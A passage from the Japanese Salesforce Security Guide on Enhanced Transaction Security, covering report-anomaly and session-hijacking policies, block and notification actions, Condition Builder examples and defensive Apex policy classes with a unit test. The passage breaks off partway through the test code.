コールを実行して取得可能な一意の API 参照名です。ReportEvent ポリシーを作成するときは、条件がチェッ
クする値が一意の API 参照名で、表示ラベルではないようにします。たとえば、「列の名前」条件は、レ
ポートに表示される列ヘッダーではなく、レポートに対する Describe コールから取得されたメタデータ情
報と一致する値がないかチェックします。詳細は、『Salesforce Reports and Dashboards REST API Developer Guide

(Salesforce レポートおよびダッシュボード REST API 開発者ガイド)』を参照してください。
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ReportAnomalyEventStore ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

レポート異常イベントポリシーは、ユーザによるレポート実行またはレポート
エクスポートの異常を監視します。

ポリシーの概要

アクション条件ビルダーで使用可能
な条件

オブジェクト

通知Report、Score、SourceIp、
UserId、Username

ReportAnomalyEventStore

機能
次の処理が可能なポリシーを作成します。
• ユーザがリードに関するレポートから通常より多くのレコードをエクスポー

トしたことを Salesforce が検知したときにメールを送信します。
• スコアが 90 を超えるレポート異常イベントを Salesforce が検知したときにアプリケーション内通知を生成し

ます。

SessionHijackingEventStore ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

セッションハイジャックイベントポリシーは、未承認ユーザが、盗まれたセッ
ション識別子を使用して Salesforce ユーザのセッションの所有権をいつ取得した
かを監視します。

ポリシーの概要

アクション条件ビルダーで使用可能
な条件

オブジェクト

通知CurrentUserAgent、
CurrentIp、CurrentPlatform、
CurrentScreen、
CurrentWindow、
PreviousUserAgent、
PreviousIp、
PreviousPlatform、

SessionHijackingEventStore

PreviousScreen、
PreviousWindow、Score、
SourceIp、UserId、Username

258

拡張トランザクションセキュリティSalesforce セキュリティガイド



機能
次の処理が可能なポリシーを作成します。
• 組織に対する、スコアが 10 を超えるセッションハイジャック攻撃を Salesforce が検知したときにアプリケー

ション内通知を生成します。
• 特定の IP アドレスからのセッションハイジャック攻撃を Salesforce が検知したときにメールを送信します。

拡張トランザクションセキュリティアクションおよび通知

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リアルタイムイベントでトランザクションセキュリティポリシーがトリガされ
るときに、ユーザをブロックするか、多要素認証 (MFA) を適用することができま
す。また必要に応じて、イベントのアプリケーション内通知またはメール通知
を受信することもできます。

ブロック
ユーザが要求を完了できないようにします。たとえば、レポート表示中にブロッ
クアクションが設定されている ReportEvent アクセスポリシーがトリガされると、
ユーザにこのアクションを説明するメッセージが表示されます。ポリシーを作
成するときに、ブロックメッセージをカスタマイズすることもできます。カス
タムメッセージはそれぞれ最大 1000 文字で、メッセージをカスタマイズできる
のは ApiEvent、ListViewEvent、ReportEvent ポリシーのみです。

多要素認証
ログイン時に、Salesforce Authenticator アプリケーションなどの追加の検証方法で ID を確認するようユーザに求
めます。多要素認証を使用できない状況では (API クエリ時など)、このアクションがブロックアクションに変
化します。
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メール通知
Salesforce から「トランザクションセキュリティアラート」という件名のメール通知が送信されます。メッセー
ジの本文には、トリガされたポリシー、ポリシーをトリガしたイベント、ポリシーの ID、および関連するイベ
ント項目が記載されています。ポリシーがトリガされた時刻は、受信者のロケールおよびタイムゾーンで表示
されます。たとえば、ポリシーが東部標準時間の午前 6 時 46 分にトリガされたとします。通知を受信するシ
ステム管理者が太平洋標準時間の地域にいる場合、時刻は太平洋標準時間で表されます。次に例を示します。

例:

From: Transaction Security <noreply@salesforce.com>
To: Admin@company.com
Sent: Wednesday, September 4, 2021, 10:00 AM
Subject: Transaction Security Alert

One of your transaction security policies was triggered.

Policy Name:
Restrict Views of the My Confidential Report

ID:
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0NIRM00000000dV

Event responsible for triggering this policy:
ReportEvent associated with user lisa.johnson@company.com at 7/21/2021 06:46:11 AM PST

For more context about this event, refer to these event fields:
Org ID: 00DLA0000003YjP
User ID: 005IL000001ZqMb

アプリケーション内通知
アプリケーション内通知には、トリガされたポリシーが一覧表示されます。Classic では通知を使用できません。
次に例を示します。

例:

Transaction Security Alert:
Policy Restrict Views of the My Confidential Report was triggered.

16 minutes ago
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条件ビルダーを使用したトランザクションセキュリティポリシーの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

必要なユーザ権限

イベントを参照および管
理する
• 「リアルタイムイベン

ト監視データの表示」

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「アプリケーションの

カスタマイズ」

コード行を記述せずにトランザクションセキュリティポリシーを作成します。
リアルタイムイベント監視でリリースされた条件ビルダーでは、宣言型でカス
タマイズしたセキュリティポリシーを作成してデータを保護できます。
同じイベント種別に複数のポリシーを作成できますが、ポリシーとそのアクショ
ンは重複しないようにすることをお勧めします。特定のイベントが発生したと
きにそのイベントの同じアクションを持つ複数のポリシーが実行される場合、
実行順序は不確定です。
1. [設定] の [クイック検索] ボックスに「トランザクションセキュリティ」と入力

し、[トランザクションセキュリティポリシー] を選択します。
2. [新規] をクリックし、[条件ビルダー] を選択します。

3. [次へ] をクリックします。
4. どのイベントに対してポリシーを作成するかを選択します。

たとえば、組織で API コールを追跡する場合は [API イベント]を選択します。
ユーザがいつレポートを表示またはエクスポートしたかを監視する場合は
[レポートイベント] を選択します。使用可能なイベントの完全リストについ
ては、「拡張トランザクションセキュリティ」を参照してください。

5. 条件ロジックを選択します。このロジックは、次のステップで作成する条件に適用されます。
ポリシーでアクションをトリガするにはすべての条件を満たす必要があるか、いずれかの条件を満たす必
要があるかを指定できます。
より複雑なロジックを指定する場合は、[カスタム条件ロジックに一致] を選択します。括弧と論理演算子
(AND、OR、NOT) を使用して論理ステートメントを作成します。数字を使用して各条件を表します (1 番目の
条件には 1、2 番目の条件には 2 など)。たとえば、1 番目の条件と、2 番目または 3 番目のいずれかの条件を
満たす場合にポリシーをトリガする場合、「1 AND (2 OR 3)」と入力します。

6. 条件を選択します。
各条件には 3 つの部分があります。
• 監視するイベント条件。使用可能な条件は、選択したイベントによって異なります。たとえば、レポー

トイベントの [処理行] 条件を使用して、レポートでユーザが参照した行数を監視できます。API コール
で照会される Salesforce エンティティを監視するには、API イベントの [照会されるエンティティ] 条件を
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使用します。ユーザがどの IP アドレスからログインしたかを監視するには、ログインイベントの [アク
セス元 IP] 条件を使用します。

• [より大きい]、[次の文字列で始まる]、[次の文字列を含む] などの演算子。
• 条件が true か false かを決定する値。たとえば、[処理行] 条件を指定して、ユーザがレポートでいつ 2,000

を超える行を参照したかを監視する場合、「2000」と入力します。[照会されるエンティティ]条件を指
定して、リードに対する API コールを監視する場合、「Lead」  (リード) と入力します。[アクセス元 IP]

条件を指定して、特定の IP アドレスからのユーザログインを監視する場合、実際の IP アドレス
(192.0.2.255 など) を入力します。

ヒント: 条件は ApiEvent.RowsProcessesdや LoginEvent.SourceIPなどのイベントストレー
ジオブジェクトの項目に対応付けられます。条件ビルダーに条件として表示される各項目の使用可
能な値および例については、API ドキュメントを参照してください。

次の例は、API コールを監視するポリシーを示しています。API コールでリードオブジェクトが照会され、
処理された行数が 2,000 を超えたか、要求の完了まで 1,000 ミリ秒を超える時間がかかった場合、アクショ
ンがトリガされます。詳細は、「条件ビルダーの例」を参照してください。

7. [次へ] をクリックします。
8. トリガされたときのポリシーのアクションを選択します。

使用可能なアクションは、イベント種別によって異なります。詳細は、「[トランザクションセキュリティ
アクションとは?」を参照してください。

メモ:  Salesforce モバイルアプリケーション、Lightning Experience、または API 経由の場合、イベントで多
要素認証アクションは使用できません。代わりに、ブロックアクションが使用されます。たとえば、
API 経由で実行されたリストビューで多要素認証ポリシーがトリガされた場合、Salesforce はその API ユー
ザをブロックします。

9. 通知先と通知方法を選択します。
10. ポリシーの名前と説明を入力します。
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ポリシー名は、アンダースコアと英数字のみを使用でき、組織内で一意にする必要があります。最初が文
字である、空白を使用しない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用しな
いという制約があります。

11. 必要に応じて、ポリシーを有効化します。
12. [完了] をクリックします。

使用可能なポリシーのリストにポリシーが追加されます。イベントのトランザクションセキュリティポリ
シーを有効にすると、そのイベントに関連する一部のトランザクションの実行時間が長くなる可能性があ
ります。

重要:  API を使用して条件ビルダーポリシーをカスタマイズする場合、Flow ID (フロー API 用)、EventName、
CustomConditionBuilderPolicy の種別を追加してポリシーを保存する必要があります。

このセクションの内容:

条件ビルダーの例
以下の例を参考にして、独自の実際の使用事例を条件ビルダーの条件に変換してください。

条件ビルダーの例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

以下の例を参考にして、独自の実際の使用事例を条件ビルダーの条件に変換し
てください。

レポート実行の追跡
例の説明: リードオブジェクトの任意のレポートから 2,000 を超える行をユーザ
がいつ表示またはエクスポートしたかを追跡します。
• イベント: レポートイベント
• 条件ロジック: すべての条件に一致
• 条件:

– Rows Processed Greater Than 2,000

– Queried Entities Contains Lead

• メモ: [次の文字列と一致する] ではなく [次の文字列を含む] 演算子を使用し
て、複数のオブジェクト (うち 1 つがリード) に基づくレポートも含めます。
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例の説明: メールアドレスが含まれる列を持つレポートをユーザがいつ表示またはエクスポートしたかを追跡
します。
• イベント: レポートイベント
• 条件ロジック: すべての条件に一致
• 条件: Name of Columns Contains Email

• メモ: [次の文字列を含む]演算子を使用して、Email、Customer Email、または Email of Customer の
いずれかの列名を含めます。

ユーザログインの追跡
例の説明: IP アドレス 12.34.56.78 からユーザがいつログインしたかを追跡します。
• イベント: ログインイベント
• 条件ロジック: すべての条件に一致
• 条件: Source IP Equals 12.34.56.78

• メモ: ポリシーは特定の IP アドレス 12.34.56.78 によってのみトリガされます。12.34.56 で始まる任意の IP アド
レスからのログインを追跡する場合、Source IP Starts With 12.34.56 の条件を使用します。

例の説明: ユーザがいつ Chrome ブラウザを使用してログインしたかを追跡します。
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• イベント: ログインイベント
• 条件ロジック: すべての条件に一致
• 条件: Browser Contains Chrome

• メモ: Safari および Firefox ブラウザからのログインを追跡することもできます。

API クエリと経過時間の追跡
例の説明: ユーザが任意の API を使用してリードオブジェクトを照会し、その要求がいつ 1,000 ミリ秒を超えた
かを追跡します。
• イベント: API イベント
• 条件ロジック: すべての条件に一致
• 条件:

– Queried Entities Contains Lead

– Elapsed Time Greater Than 1000

• メモ: [次の文字列と一致する] ではなく [次の文字列を含む] 演算子を使用して、複数のオブジェクト (うち 1

つがリード) に対するクエリも含めます。

任意のリストビューの API クエリの追跡
例の説明: ユーザがいつ任意の API を使用して任意のリストビューを照会したかを追跡します。
• イベント: リストビューイベント
• 条件ロジック: すべての条件に一致
• 条件: Event Source Equals API

• メモ: ユーザがいつ UI を使用してリストビューを照会したかを追跡するには、API の代わりに Classic ま
たは Lightning を指定します。
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ユーザのセッションレベルセキュリティの追跡
例の説明: 高保証セッションレベルセキュリティのアクセス権のない (2 要素認証を使用してログインしていな
い) ユーザがいつ任意のリストビューを照会したかを追跡します。
• イベント: リストビューイベント
• 条件ロジック: いずれかの条件に一致
• 条件:

– Session Level Equals LOW

– Session Level Equals STANDARD

• メモ:同じ条件を別々のトランザクションセキュリティポリシーで使用して、高保証を使用しないユーザが
いつレポート (レポートイベント) または API クエリ (API イベント) を実行したかを追跡します。

カスタムロジックの使用
例の説明: @spy.mycompany.comドメインのユーザ名を持つユーザが、SuperSecureListView という名前のリスト
ビューのすべてのレコードをいつ照会したかを追跡します。
• イベント: リストビューイベント
• 条件ロジック: カスタム条件ロジックに一致
• カスタム条件ロジック: (1 OR 2) AND 3

• 条件:

– Scope Equals Everything

– Name Equals SuperSecureListView

– Username Ends With @spy.mycompany.com

• メモ:
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Apex を使用する拡張トランザクションセキュリティポリシーの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

必要なユーザ権限

イベントを参照および管
理する
• 「リアルタイムイベン

ト監視データの表示」

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「アプリケーションの

カスタマイズ」

[設定] を使用して、Apex を使用する拡張トランザクションセキュリティポリシー
を作成します。既存の Apex クラスを指定するか、空のクラスを作成してからコー
ディングすることができます。Apex クラスは TxnSecurity.EventCondition

インターフェースを実装する必要があります。
同じイベント種別に複数のポリシーを作成できますが、ポリシーとそのアクショ
ンは重複しないようにすることをお勧めします。特定のイベントが発生したと
きにそのイベントの同じアクションを持つ複数のポリシーが実行される場合、
実行順序は不確定です。
1. [設定] の [クイック検索] ボックスに「トランザクションセキュリティ」と入力

し、[トランザクションセキュリティポリシー] を選択します。
2. [新規] をクリックし、[Apex] を選択します。
3. [次へ] をクリックします。
4. どのイベントに対してポリシーを作成するかを選択します。

たとえば、組織で API コールを追跡する場合は [API イベント]を選択します。
ユーザがいつレポートを表示またはエクスポートしたかを監視する場合は
[レポートイベント] を選択します。使用可能なイベントの完全リストについ
ては、「拡張トランザクションセキュリティ」を参照してください。

5. ポリシーを実装する Apex クラスを選択します。まだクラスを作成していない
場合は、[新しい空の Apex クラス] を選択します。

6. [次へ] をクリックします。
7. ポリシーがトリガされたときに実行するアクションを選択します。

使用可能なアクションは、イベント種別によって異なります。詳細は、「ト
ランザクションセキュリティアクションとは?」を参照してください。

メモ:  Salesforce モバイルアプリケーション、Lightning Experience、または
API 経由の場合、イベントで 2 要素認証アクションは使用できません。
代わりに、ブロックアクションが使用されます。たとえば、API 経由で
実行されたリストビューで 2 要素認証ポリシーがトリガされた場合、
Salesforce はその API ユーザをブロックします。
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8. 通知先と通知方法を選択します。
選択するユーザには「すべてのデータの編集」権限と「設定の参照」権限が必要です。

9. ポリシーの名前と説明を入力します。
ポリシー名には、最初が文字である、空白を使用しない、最後にアンダースコアを使用しない、2 つ続けて
アンダースコアを使用しないという制約があります。

10. 必要に応じて、ポリシーを有効化します。
Apex クラスを作成する場合は、最初にコードをクラスに追加する必要があるため、まだポリシーを有効化
しないでください。

11. [完了] をクリックします。
新しいポリシーが [ポリシー] テーブルに表示されます。Apex クラスを作成する場合、ポリシー名からスペー
スを除き、EventConditionという文字列を追加した最初の 25 文字がその名前になります。ポリシーの名
前が「My Apex Class」の場合は、MyApexClassEventCondition という Apex クラスが自動生成されます。
クラスが [Apex 条件] 列にリストされます。

12. 編集する Apex クラスの名前をクリックします。
Apex クラスを作成する場合は、実装コードを追加する必要があります。開始できるように、Salesforce が次
の基本コードを追加します。
global class MyApexClassEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
return false;

}

}

Apex を使用するトランザクションセキュリティポリシーを削除しても、実装クラスは削除されません。この
Apex クラスを個別に削除することも、別のポリシーで再利用することもできます。
Apex ベースのポリシーには DML ステートメントを含めないでください。エラーが発生する可能性があるため
です。トランザクションポリシーの評価中に Apex を介してカスタムメールを送信すると、レコードが別のレ
コードに明示的に関連付けられていなくても、エラーが表示されます。詳細は、『Apex リファレンスガイド』
の「Apex DML 操作」を参照してください。

このセクションの内容:

Apex トランザクションセキュリティの高度な実装例
拡張 Apex トランザクションセキュリティの実装例を次に示します。
非同期 Apex の例
トランザクションセキュリティポリシーを実行する場合、非同期 Apex プロセスを使用して、時間のかかる
操作 (外部受信者への通知メールの送信など) をオフロードします。
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拡張トランザクションセキュリティの Apex テスト
堅牢なテストを記述することは、コードが期待どおりに動作することを確認し、ユーザおよび顧客が実行
する前にエラーを発見するためのエンジニアリング上のベストプラクティスです。トランザクションセキュ
リティポリシーの Apex コードは Salesforce 組織で重要なユーザアクションを実行するため、そのテストを記
述することはさらに重要です。たとえば、テスト中 LoginEvent ポリシーのバグがキャッチされなかった場
合、ユーザが組織から締め出される可能性もありますが、これは避けるべき状況です。

関連トピック:

Apex リファレンスガイド: TxnSecurity.EventCondition インターフェース

Apex トランザクションセキュリティの高度な実装例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

拡張 Apex トランザクションセキュリティの実装例を次に示します。

異なる IP アドレスからのログイン
この例では、過去 24 時間でいずれかのユーザが異なる IP アドレスからログイン
したときにトリガされるポリシーが実装されています。

global class MultipleLoginEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {

switch on event{
when LoginEvent loginEvent {

return evaluate(loginEvent);
}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(LoginEvent loginEvent) {
AggregateResult[] results = [SELECT SourceIp

FROM LoginHistory
WHERE UserId = :loginEvent.UserId
AND LoginTime = LAST_N_DAYS:1
GROUP BY SourceIp];
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if(!results.isEmpty()) {
return true;

}
return false;

}
}

特定の IP アドレスからのログイン
この例では、セッションが特定の IP アドレスから作成されたときにトリガされるポリシーが実装されていま
す。
global class SourceIpEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when LoginEvent loginEvent {
return evaluate(loginEvent);

}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(LoginEvent loginEvent) {
if (loginEvent.SourceIp.equals('1.1.1.1')) {

return true;
}
return false;

}
}

データのエクスポート
この例では、2,000 件を超えるリードで次のいずれかの操作が実行されたときにトリガされるトランザクショ
ンセキュリティポリシーが実装されています。
• UI で表示
• SOQL クエリを使用してエクスポート
• リストビューからエクスポート
• レポートからエクスポート
global class LeadViewAndExportCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);

}
when ReportEvent reportEvent {
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return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
if(queriedEntities.contains('Lead') && rowsProcessed > 2000){

return true;
}
return false;

}
}

機密データへのアクセス
このポリシーは、特定のレポートにアクセスする全員に 2 要素認証の使用を義務付けます。
Salesforce の四半期レポートには非公開の機密データを記載できます。レポートにアクセスするチームが、この
データを参照する前に必ず高保証の 2 要素認証 (2FA) を使用するようにします。このポリシーは 2FA を義務付け
ますが、チームが 2FA の要件を満たす手段がなければ高保証セッションを提供できません。前提条件として、
まず Salesforce 環境に 2FA を設定します。
この例では、特定のレポートに 2FA を適用するポリシーの機能が強調表示されています。ここで定義されるレ
ポートは、「Quarterly Report」 (四半期レポート) という名前のレポートです。レポートにアクセスするユーザ
は、2FA を使用して高保証セッションを設定する必要があります。
global class ConfidentialDataEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when ReportEvent reportEvent {
return evaluate(reportEvent);

}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(ReportEvent reportEvent) {
// Check if this is a quarterly report.
if (reportEvent.Name.contains('Quarterly Report')) {

272

拡張トランザクションセキュリティSalesforce セキュリティガイド



return true;
}
return false;

}
}

ブラウザチェック
このポリシーは、オペレーティングシステムとブラウザの組み合わせが分かっているユーザが、異なるオペ
レーティングシステム上で別のブラウザを使用してログインしようとするとトリガされます。
多くの組織では、標準ハードウェアを設定し、さまざまなブラウザの特定のバージョンをサポートしていま
す。この標準を使用して、通常と異なるデバイスからログインが発生したときにアクションを行うことによ
り、影響が大きいユーザのセキュリティリスクを軽減できます。たとえば、自社の CEO が通常はサンフランシ
スコから MacBook を使用するか、iPhone で Salesforce モバイルアプリケーションを使用して Salesforce にログイン
するとします。別の場所から Chromebook を使用したログインが発生した場合、それは非常に疑わしいと言え
ます。企業役員が使用するプラットフォームをハッカーが知っているとは限らないため、このポリシーにより
セキュリティ侵害の可能性が低減されます。
この例では、顧客の組織は、CEO が OS X と Safari ブラウザを実行する MacBook を使用していることを知っている
とします。その他のものを使用して CEO のログイン情報でログインしようとすると、自動的にブロックされま
す。
global class AccessEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when LoginEvent loginEvent {
return evaluate(loginEvent);

}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(LoginEvent loginEvent) {
// If it's a Login attempt from our CEO's user account.
if (loginEvent.UserId == '005x0000005VmCu'){

// The policy is triggered when the CEO isn’t using Safari on Mac OSX.
if (!loginEvent.Platform.contains('Mac OSX') ||

!loginEvent.Browser.contains('Safari')) {
return true;

}
}
return false;

}
}
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国ごとのログインのブロック
このポリシーは、国ごとにアクセスをブロックします。
組織にリモートオフィスがあり、海外展開しているが、国際法に従って Salesforce 組織へのアクセスを制限した
いと考えているとします。
この例では、北朝鮮からログインしているユーザをブロックするポリシーを作成します。ユーザが北朝鮮にい
ながら企業 VPN を使用している場合は、VPN ゲートウェイがシンガポールか米国にあるものと考えられます。
Salesforce は VPN ゲートウェイおよび米国内に所在する会社の IP アドレスを認識するため、このユーザは正常に
ログインできます。
global class CountryEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when LoginEvent loginEvent {
return evaluate(loginEvent);

}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(LoginEvent loginEvent) {
// Get the login's country.
String country = String.valueOf(loginEvent.Country);

// Trigger policy and block access for any user trying to log in from North Korea.

if(country.equals('North Korea')) {
return true;

}
return false;

}
}

郵便番号や市区郡など、他の値へのアクセスを制限することもできます。

オペレーティングシステムのブロック
このポリシーは、Android OS の旧バージョンを使用しているユーザのアクセスをブロックします。
特定のモバイルプラットフォームの脆弱性や、Salesforce にアクセス中にスクリーンショットを撮影してデータ
を読み取る機能に懸念のある場合があります。デバイスがセキュリティクライアントを実行していない場合、
既知の脆弱性があるオペレーティングシステムを使用しているデバイスプラットフォームからのアクセスを制
限することができます。このポリシーは、Android 5.0 以前を使用するデバイスをブロックします。
global class AndroidEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when LoginEvent loginEvent {
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return evaluate(loginEvent);
}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(LoginEvent loginEvent) {
String platform = loginEvent.Platform;
// Block access from Android versions less than 5
if (platform.contains('Android') && platform.compareTo('Android 5') < 0) {

return true;
}
return false;

}
}

関連トピック:

Apex リファレンスガイド: TxnSecurity.EventCondition インターフェース

非同期 Apex の例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

トランザクションセキュリティポリシーを実行する場合、非同期 Apex プロセス
を使用して、時間のかかる操作 (外部受信者への通知メールの送信など) をオフ
ロードします。
この例は 2 つの部分で構成されます。まず、execute メソッド内のイベントを使
用してコールアウトまたは DML 操作を呼び出す非同期 Apex クラスを作成しま
す。次に、トランザクションセキュリティポリシーを作成し、Apex クラスを変
更して TxnSecurity.EventCondition と TxnSecurity.AsyncCondition を実装します。
TxnSecurity.AsyncCondition は、トランザクションセキュリティポリシーをトリガす
ると、非同期 Apex プロセスをキューに追加します。

メモ: 拡張トランザクションセキュリティポリシーを使用する非同期 Apex

では、DML 操作とコールアウトのみがサポートされます。

非同期 Apex クラスの作成
このセクションでは、SObject を取る非同期 Apex クラスを作成します。次の例で
は、ApiEvent を使用します。次に、コールアウトまたは DML 操作を呼び出します。
public class SimpleAsynchronousApex implements Queueable {

private ApiEvent apiEvent;

public SimpleAsynchronousApex(ApiEvent apiEvent) {
this.apiEvent = apiEvent;
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}

public void execute(QueueableContext context) {
// Perform your callout to external validation service
// or a DML operation

}
}

ポリシーの作成
このセクションでは、トランザクションセキュリティポリシーを作成して、ポリシーに関連付けられた Apex

クラスを変更します。次に、SimpleAsynchronousApex オブジェクトを作成して ApiEvent を渡し、ジョブをキュー
に追加します。
global class SimpleApiEventCondition implements TxnSecurity.EventCondition,
TxnSecurity.AsyncCondition {

public boolean evaluate(SObject event) {
// Cast SObject to an ApiEvent object
ApiEvent apiEvent = (ApiEvent) event;

SimpleAsynchronousApex simpleAsynchronousApex = new SimpleAsynchronousApex(apiEvent);

System.enqueueJob(simpleAsynchronousApex);
return false;
// In a typical implementation may return true if it triggers an action

}
}

関連トピック:

Apex 開発者ガイド: キュー可能 Apex

Apex リファレンスガイド: Apex の実装例
Apex 開発者ガイド: 非同期 Apex

Apex 開発者ガイド: Apex を使用したコールアウトの呼び出し
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拡張トランザクションセキュリティの Apex テスト

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

堅牢なテストを記述することは、コードが期待どおりに動作することを確認し、
ユーザおよび顧客が実行する前にエラーを発見するためのエンジニアリング上
のベストプラクティスです。トランザクションセキュリティポリシーの Apex コー
ドは Salesforce 組織で重要なユーザアクションを実行するため、そのテストを記
述することはさらに重要です。たとえば、テスト中 LoginEvent ポリシーのバグが
キャッチされなかった場合、ユーザが組織から締め出される可能性もあります
が、これは避けるべき状況です。

警告: 拡張トランザクションセキュリティポリシーの Apex テストを記述す
るときは、API バージョン 47.0 以降を使用します。

一連の条件をシミュレートして Apex コードをテストする場合は、当然、単体テ
ストを記述します。ただし、単体テストを記述するだけでは不十分です。ビジ
ネスチームおよびセキュリティチームと協力して、あらゆる使用事例を理解し
てください。その後、Sandbox 環境のテストデータを使用して実際のユーザの体
験を模した包括的なテスト計画を作成します。テスト計画には通常、手動テス
トと、Selenium などの外部ツールを使用する自動テストの両方が含まれます。
開始するために単体テストの例を見てみましょう。次の Apex ポリシーをテストするとします。
global class LeadExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);

}
when ReportEvent reportEvent {

return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {

return false;
}
when else {

return false;
}

}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
if (queriedEntities.contains('Lead') && rowsProcessed > 2000){

return true;
}
return false;

}
}
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テストの計画および記述
テストの記述を開始する前に、テスト計画で対象とするプラスとマイナスの使用事例の概要を確認しましょ
う。

表 4 : ポジティブテストケース
evaluate メソッドが返す...かつ...evaluate メソッドが受信した場

合...

trueApiEvent で Lead がその
QueriedEntities 項目にあり、

ApiEvent オブジェクト

2000 より大きい数値が
RowsProcessed 項目にある

trueReportEvent で Lead がその
QueriedEntities 項目にあり、

ReportEvent オブジェクト

2000 より大きい数値が
RowsProcessed 項目にある

trueListViewEvent で Lead がその
QueriedEntities 項目にあり、

ListViewEvent オブジェクト

2000 より大きい数値が
RowsProcessed 項目にある

falseイベントで Lead がその
QueriedEntities 項目になく、

任意のイベントオブジェクト

2000 より大きい数値が
RowsProcessed 項目にある

falseイベントで Lead がその
QueriedEntities 項目にあり、

任意のイベントオブジェクト

2000 以下の数値が RowsProcessed

項目にある
falseイベントで Lead がその

QueriedEntities 項目になく、
任意のイベントオブジェクト

2000 以下の数値が RowsProcessed

項目にある

表 5 : ネガティブテストケース
evaluate メソッドが返す...かつ...evaluate メソッドが受信した場

合...

false(条件なし)LoginEvent オブジェクト
false(条件なし)null 値
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evaluate メソッドが返す...かつ...evaluate メソッドが受信した場
合...

falseQueriedEntities項目が null であ
る

ApiEvent オブジェクト

falseRowsProcessed 項目が null であるReportEvent オブジェクト

次に、こうしたすべての使用事例を実装する Apex テストコードを示します。
/**
* Tests for the LeadExportEventCondition class, to make sure that our Transaction Security
Apex
* logic handles events and event field values as expected.
**/
@isTest
public class LeadExportEventConditionTest {

/**
* ------------ POSITIVE TEST CASES ------------
** /

/**
* Positive test case 1: If an ApiEvent has Lead as a queried entity and more than

2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testApiEventPositiveTestCase() {

// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));

}

/**
* Positive test case 2: If a ReportEvent has Lead as a queried entity and more than

2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testReportEventPositiveTestCase() {

// set up our event and its field values
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));

}
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/**
* Positive test case 3: If a ListViewEvent has Lead as a queried entity and more

than 2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testListViewEventPositiveTestCase() {

// set up our event and its field values
ListViewEvent testEvent = new ListViewEvent();
testEvent.QueriedEntities = 'Account, Lead';
